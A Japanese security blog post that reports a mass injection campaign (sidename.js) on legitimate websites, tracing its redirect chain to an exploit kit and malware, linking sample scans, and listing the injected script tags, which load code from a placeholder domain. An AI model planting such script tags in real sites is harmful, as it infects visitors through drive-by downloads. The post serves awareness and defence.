sidename.jsインジェクション 大規模な正規サイト改ざん攻撃？

　セキュリティ会社Armorize Technologiesというところが、LizaMoon改ざんとは異なるタイプの大規模な正規サイトの改ざんについて報告してます。
・ Mass Meshing Injection: sidename.js ongoing （Armorize Malware Blog）
・ 新たなインジェクション攻撃、すでに3万サイトが感染か （japan.internet.com）

　正規サイトに不正なJavaScriptタグが挿入され、飛び先となってるJavaScriptファイル（sidename.js）の置き場所もまたハッキングされた正規サイトとのこと。記事では、JavaScriptファイルが置かれてる正規サイトのURLアドレスリストものっていて、中にJPドメインな日本のサイトもいくつか含まれてますなぁ〜。

　実際に突撃アクセスしてみたところ、ブラウザ内部で↓のような感じで強制的に誘導されていきました。ウイルスの感染手段は、「Java」「Adobe Reader」「Microsoft系」の３系統の脆弱性を悪用するドライブバイ・ダウンロード攻撃です。脆弱性はすでに修正されてるので、ちゃんと「Java」（JRE）と「Adobe Reader」を最新版に更新して、「Windows Update」してれば何ら問題なしっ！

http://(正規サイトＸ)/
　↓
http://(正規サイトＹ)/sidename.js
　↓
http://(攻撃サイト).ce.ms/showthread.php?t= 〜
　↓
http://(攻撃サイト).ru/forumthrea.php?tp= 〜 （Exploit Kit）
http://(攻撃サイト).ru/d.php?f=16&e= 〜 （Malware）

　攻撃スタイルとして、去年から今もずっと沈黙してるGumblar.x（ガンブラー）とも違う雰囲気。

　もし仮に更新をさぼってるダメダメパソコンだと、こんなウイルスが強制的に発動し感染しちゃう恐れがあります。何するんだろねコレ・・・？

VirusTotal
www.virustotal.com/file-scan/report.html?id=fcf519c051704ce91812a1945d924d3fc2aa8c46ccde7088a7a173193b58042d-1308316024
Anubis
anubis.iseclab.org/?action=result&task_id=1f4f16c5ff7402914cd9ee5fca2e39ccf&format=html

　↑は記事を書く数時間前に回収してきたもの、↓は記事を書きつつ回収してきたもの。

VirusTotal
www.virustotal.com/file-scan/report.html?id=a7d1a1b4418f7ff15427c79a257c2463c1166eb3e6508843271aa4681e323053-1308315550
Anubis
anubis.iseclab.org/?action=result&task_id=158b764b444cc492429de04a704098a86&format=html

---

[追記...]
　挿入されるJavaScriptコードはこんな感じかい？

<script type="text/javascript" src="http://[DOMAIN]/adv.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/cssminibar.js"></script>
<script type="text/javascript" src="http://[DOMAIN]/counter.js"></script>
<script type="text/javascript" src="http://[DOMAIN]/wpqonfig.php"></script> x
<script type="text/javascript" src="http://[DOMAIN]/wpcomplate.php"></script> x
<script type="text/javascript" src="http://[DOMAIN]/confdb.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/facebook.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/js.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/jquery.js"></script>
<script type="text/javascript" src="http://[DOMAIN]/ajax.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/java.php"></script>
<script type="text/javascript" src="http://[DOMAIN]/search.php"></script>